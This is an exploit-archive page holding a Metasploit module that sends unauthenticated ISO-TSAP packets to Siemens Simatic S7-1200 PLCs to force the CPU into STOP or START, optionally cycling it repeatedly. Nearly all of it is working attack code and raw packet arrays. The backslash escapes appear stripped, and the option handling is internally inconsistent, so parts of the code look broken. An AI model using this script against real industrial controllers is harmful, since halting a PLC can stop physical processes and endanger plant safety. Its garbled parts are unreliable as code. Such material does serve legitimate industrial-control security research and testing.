[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Siemens Simatic S7-1200 CPU START/STOP Module
# Published : 2012-07-14
# Author :
# Previous Title : Adobe Flash Player Object Type Confusion
# Next Title : Apple iTunes <= 10.6.1.7 Extended m3u Stack Buffer Overflow
# Exploit Title: Siemens Simatic S7 1200 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1200 PLC
# CVE : None
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name'=> 'Siemens Simatic S7-1200 CPU START/STOP Module',
'Description' => %q{
The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP
this modules allows an attacker to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and START, allowing an attacker to end process control by the PLC.
},
'Author' => 'Dillon Beresford',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
],
'Version' => '$Revision$',
'DisclosureDate' => 'May 09 2011'
))
register_options(
[
Opt::RPORT(102),
OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
], self.class)
end
def run_host(ip)
begin
cpu = datastore['MODE'] || ''
cycles = datastore['CYCLES'] || ''
stop_cpu_pkt = [
"x03x00x00x16x11xe0x00x00"+
"x00x3ax00xc1x02x06x00xc2"+
"x02x06x00xc0x01x0a",
"x03x00x00xadx02xf0x80x72"+
"x01x00x9ex31x00x00x04xca"+
"x00x00x00x01x00x00x01x20"+
"x30x00x00x01x1dx00x04x00"+
"x00x00x00x00xa1x00x00x00"+
"xd3x82x1fx00x00xa3x81x69"+
"x00x15x16x53x65x72x76x65"+
"x72x53x65x73x73x69x6fx6e"+
"x5fx38x43x33x32x38x46x37"+
"x32xa3x82x21x00x15x00xa3"+
"x82x28x00x15x00xa3x82x29"+
"x00x15x00xa3x82x2ax00x15"+
"x09x50x4cx43x54x45x53x54"+
"x45x52xa3x82x2bx00x04x01"+
"xa3x82x2cx00x12x01xc9xc3"+
"x80xa3x82x2dx00x15x00xa1"+
"x00x00x00xd3x81x7fx00x00"+
"xa3x81x69x00x15x15x53x75"+
"x62x73x63x72x69x70x74x69"+
"x6fx6ex43x6fx6ex74x61x69"+
"x6ex65x72xa2xa2x00x00x00"+
"x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x40x02xf0x80x72"+
"x01x00x31x31x00x00x04xfc"+
"x00x00x00x02x00x00x03x84"+
"x30x00x00x00x32x01x9ax7b"+
"x00x00x04xe8x89x69x00x12"+
"x00x00x00x00x89x6ax00x13"+
"x00x89x6bx00x04x00x00x00"+
"x00x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x03x00x00x03x84"+
"x30x00x00x00x20x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x04x00x00x03x84"+
"x30x00x00x00x31x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x05x00x00x03x84"+
"x30x00x00x00x32x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x06x00x00x03x84"+
"x30x00x00x00x33x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x07x00x00x03x84"+
"x30x00x00x00x34x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x08x00x00x03x84"+
"x30x00x00x00x40x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x09x00x00x03x84"+
"x30x88xe1x00x08x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x0ax00x00x03x84"+
"x30x88xe1x00x07x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x0bx00x00x03x84"+
"x30x00x00x00x21x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x0cx00x00x03x84"+
"x30x00x00x00x41x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x0dx00x00x03x84"+
"x30x00x00x00x20x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x0ex00x00x03x84"+
"x30x00x00x00x31x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x0fx00x00x03x84"+
"x30x00x00x00x32x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x10x00x00x03x84"+
"x30x00x00x00x33x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x11x00x00x03x84"+
"x30x00x00x00x34x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x12x00x00x03x84"+
"x30x00x00x00x40x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x13x00x00x03x84"+
"x30x88xe1x00x08x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x14x00x00x03x84"+
"x30x88xe1x00x07x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x15x00x00x03x84"+
"x30x00x00x00x21x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x16x00x00x03x84"+
"x30x00x00x00x41x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x2bx02xf0x80x72"+
"x01x00x1cx31x00x00x04xbb"+
"x00x00x00x17x00x00x03x84"+
"x30x00x00x00x08x00x00x01"+
"x01x00x00x00x00x00x00x72"+
"x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00xa3x02xf0x80x72"+
"x01x00x94x31x00x00x04xca"+
"x00x00x00x18x00x00x03x84"+
"x30x00x00x03x85x00x04x00"+
"x00x00x00x00xa1x4ex00x00"+
"x00x87x69x00x00xa3x81x69"+
"x00x15x17x53x75x62x73x63"+
"x72x69x70x74x69x6fx6ex5f"+
"x31x33x30x38x36x32x32x38"+
"x34x38xa3x87x6ax00x03x00"+
"x00xa3x87x6bx00x09x00xa3"+
"x88x10x00x02x02xa3x88x11"+
"x00x01x01xa1x4ex00x00x02"+
"x94x66x00x00xa3x81x69x00"+
"x15x00xa3x87x6dx00x02x02"+
"xa3x94x63x10x03x0ax00x00"+
"x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00"+
"x00x00xa4x94x64x00x00x00"+
"x08xa2xa2x00x00x00x00x72"+
"x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x43x02xf0x80x72"+
"x01x00x34x31x00x00x04xf2"+
"x00x00x00x19x00x00x03x84"+
"x30x00x00x00x34x01x90x77"+
"x00x08x01x00x00x04xe8x89"+
"x69x00x12x00x00x00x00x89"+
"x6ax00x13x00x89x6bx00x04"+
"x00x00x00x00x00x00x00x72"+
"x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x3dx02xf0x80x72"+
"x01x00x2ex31x00x00x04xd4"+
"x00x00x00x1ax00x00x03x84"+
"x30x4ex00x00x00x00x00x00"+
"x04xe8x89x69x00x12x00x00"+
"x00x00x89x6ax00x13x00x89"+
"x6bx00x04x00x00x00x00x00"+
"x00x72x01x00x00",
"x03x00x00x3dx02xf0x80x72"+
"x01x00x2ex31x00x00x04xd4"+
"x00x00x00x1bx00x00x03x84"+
"x30x00x00x03x84x00x00x00"+
"x04xe8x89x69x00x12x00x00"+
"x00x00x89x6ax00x13x00x89"+
"x6bx00x04x00x00x00x00x00"+
"x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00"
]
start_cpu_pkt = [
"x03x00x00x16x11xe0x00x00"+
"x00x42x00xc1x02x06x00xc2"+
"x02x06x00xc0x01x0a",
"x03x00x00xadx02xf0x80x72"+
"x01x00x9ex31x00x00x04xca"+
"x00x00x00x01x00x00x01x20"+
"x30x00x00x01x1dx00x04x00"+
"x00x00x00x00xa1x00x00x00"+
"xd3x82x1fx00x00xa3x81x69"+
"x00x15x16x53x65x72x76x65"+
"x72x53x65x73x73x69x6fx6e"+
"x5fx34x46x32x44x42x37x32"+
"x44xa3x82x21x00x15x00xa3"+
"x82x28x00x15x00xa3x82x29"+
"x00x15x00xa3x82x2ax00x15"+
"x09x50x4cx43x54x45x53x54"+
"x45x52xa3x82x2bx00x04x01"+
"xa3x82x2cx00x12x01xc9xc3"+
"x80xa3x82x2dx00x15x00xa1"+
"x00x00x00xd3x81x7fx00x00"+
"xa3x81x69x00x15x15x53x75"+
"x62x73x63x72x69x70x74x69"+
"x6fx6ex43x6fx6ex74x61x69"+
"x6ex65x72xa2xa2x00x00x00"+
"x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x40x02xf0x80x72"+
"x01x00x31x31x00x00x04xfc"+
"x00x00x00x02x00x00x03x84"+
"x30x00x00x00x32x01x9ax7b"+
"x00x00x04xe8x89x69x00x12"+
"x00x00x00x00x89x6ax00x13"+
"x00x89x6bx00x04x00x00x00"+
"x00x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x40x02xf0x80x72"+
"x01x00x31x31x00x00x04xfc"+
"x00x00x00x03x00x00x03x84"+
"x30x00x00x00x31x01x9dx29"+
"x00x00x04xe8x89x69x00x12"+
"x00x00x00x00x89x6ax00x13"+
"x00x89x6bx00x04x00x00x00"+
"x00x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x04x00x00x03x84"+
"x30x00x00x00x20x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x05x00x00x03x84"+
"x30x00x00x00x31x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x06x00x00x03x84"+
"x30x00x00x00x32x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x07x00x00x03x84"+
"x30x00x00x00x33x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x08x00x00x03x84"+
"x30x00x00x00x34x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x09x00x00x03x84"+
"x30x00x00x00x40x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x0ax00x00x03x84"+
"x30x88xe1x00x08x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x0bx00x00x03x84"+
"x30x88xe1x00x07x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x0cx00x00x03x84"+
"x30x00x00x00x21x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x0dx00x00x03x84"+
"x30x00x00x00x41x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x27x02xf0x80x72"+
"x01x00x18x31x00x00x05x24"+
"x00x00x00x0dx00x00x03x84"+
"x30x00x00x00x41x91x5ex00"+
"x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x0ex00x00x03x84"+
"x30x00x00x00x20x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x0fx00x00x03x84"+
"x30x00x00x00x31x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x10x00x00x03x84"+
"x30x00x00x00x32x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x11x00x00x03x84"+
"x30x00x00x00x33x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x12x00x00x03x84"+
"x30x00x00x00x34x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x13x00x00x03x84"+
"x30x00x00x00x40x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x14x00x00x03x84"+
"x30x88xe1x00x08x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x15x00x00x03x84"+
"x30x88xe1x00x07x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x16x00x00x03x84"+
"x30x00x00x00x21x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x17x00x00x03x84"+
"x30x00x00x00x41x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x2bx02xf0x80x72"+
"x01x00x1cx31x00x00x04xbb"+
"x00x00x00x18x00x00x03x84"+
"x30x00x00x00x08x00x00x01"+
"x01x00x00x00x00x00x00x72"+
"x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00xa3x02xf0x80x72"+
"x01x00x94x31x00x00x04xca"+
"x00x00x00x19x00x00x03x84"+
"x30x00x00x03x85x00x04x00"+
"x00x00x00x00xa1x5dx00x00"+
"x00x87x69x00x00xa3x81x69"+
"x00x15x17x53x75x62x73x63"+
"x72x69x70x74x69x6fx6ex5f"+
"x31x35x36x30x32x38x31x30"+
"x38x38xa3x87x6ax00x03x00"+
"x00xa3x87x6bx00x09x00xa3"+
"x88x10x00x02x02xa3x88x11"+
"x00x01x01xa1x5dx00x00x02"+
"x94x66x00x00xa3x81x69x00"+
"x15x00xa3x87x6dx00x02x02"+
"xa3x94x63x10x03x0ax00x00"+
"x00x00x00x00x00x00x00x00"+
"x00x00x00x00x00x00x00x00"+
"x00x00xa4x94x64x00x00x00"+
"x08xa2xa2x00x00x00x00x72"+
"x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x40x02xf0x80x72"+
"x01x00x31x31x00x00x04xfc"+
"x00x00x00x1ax00x00x03x84"+
"x30x00x00x00x22x01x93x11"+
"x00x00x04xe8x89x69x00x12"+
"x00x00x00x00x89x6ax00x13"+
"x00x89x6bx00x04x00x00x00"+
"x00x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x1bx00x00x03x84"+
"x30x00x00x00x34x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x40x02xf0x80x72"+
"x01x00x31x31x00x00x04xfc"+
"x00x00x00x1cx00x00x03x84"+
"x30x00x00x00x22x01x93x11"+
"x00x00x04xe8x89x69x00x12"+
"x00x00x00x00x89x6ax00x13"+
"x00x89x6bx00x04x00x00x00"+
"x00x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x40x02xf0x80x72"+
"x01x00x31x31x00x00x04xfc"+
"x00x00x00x1dx00x00x03x84"+
"x30x00x00x00x32x01x9ax7b"+
"x00x00x04xe8x89x69x00x12"+
"x00x00x00x00x89x6ax00x13"+
"x00x89x6bx00x04x00x00x00"+
"x00x00x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00xfex02xf0x80x72"+
"x01x00xefx31x00x00x04xca"+
"x00x00x00x1ex00x00x03x84"+
"x30x00x00x03x85x00x04x00"+
"x00x00x00x00xa1x5dx00x00"+
"x03x87x69x00x00xa3x81x69"+
"x00x15x17x53x75x62x73x63"+
"x72x69x70x74x69x6fx6ex5f"+
"x31x35x36x30x32x38x31x30"+
"x39x31xa3x87x6ax00x03x00"+
"x00xa3x87x6bx00x09x00xa3"+
"x88x10x00x02x01xa3x88x11"+
"x00x01x01xa1x5dx00x00x05"+
"x87x72x00x00xa3x81x69x00"+
"x15x13x41x74x74x72x69x62"+
"x75x74x52x65x66x65x72x65"+
"x6ex63x65x5fx31xa3x87x6d"+
"x00x02x05xa3x87x6fx00x12"+
"x00x00x00x03xa3x87x70x00"+
"x12x00x00x00x01xa3x87x73"+
"x20x04x01x93x2fxa3x88x05"+
"x00x04x00xa2xa1x5dx00x00"+
"x06x87x72x00x00xa3x81x69"+
"x00x15x13x41x74x74x72x69"+
"x62x75x74x52x65x66x65x72"+
"x65x6ex63x65x5fx32xa3x87"+
"x6dx00x02x02xa3x87x6fx00"+
"x12x00x00x00x03xa3x87x70"+
"x00x12x00x00x00x01xa3x87"+
"x73x20x04x01x9cx33xa3x88"+
"x05x00x04x00xa2xa2x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x2bx02xf0x80x72"+
"x01x00x1cx31x00x00x04xbb"+
"x00x00x00x1fx00x00x03x84"+
"x30x00x00x00x03x00x01x01"+
"x01x00x00x00x00x00x00x72"+
"x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x43x02xf0x80x72"+
"x01x00x34x31x00x00x04xf2"+
"x00x00x00x20x00x00x03x84"+
"x30x00x00x00x34x01x90x77"+
"x00x08x03x00x00x04xe8x89"+
"x69x00x12x00x00x00x00x89"+
"x6ax00x13x00x89x6bx00x04"+
"x00x00x00x00x00x00x00x72"+
"x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x21x00x00x03x84"+
"x30x00x00x00x34x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x22x00x00x03x84"+
"x30x00x00x00x34x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x07x02xf0x00",
"x03x00x00x46x02xf0x80x72"+
"x01x00x37x31x00x00x05x4c"+
"x00x00x00x23x00x00x03x84"+
"x30x00x00x00x34x04x04x91"+
"x3dx9cx68x9cx67x81x69x00"+
"x00x04xe8x89x69x00x12x00"+
"x00x00x00x89x6ax00x13x00"+
"x89x6bx00x04x00x00x00x00"+
"x00x00x72x01x00x00",
"x03x00x00x07x02xf0x00"
]
if(cpu == 1)
connect()
stop_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
if(cpu == 2)
connect()
start_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
for n in 0..cycles
if(cpu == 3)
connect()
stop_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
connect()
start_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
end
data = sock.get_once()
print_good("#{ip} is up, iso-tsap is open.")
if(cpu == 'true')
print_status("Putting the PLC into START mode.")
elsif(cpu == 'false')
print_status("Putting the PLC into STOP mode.")
end
disconnect()
rescue ::EOFError
end
end
end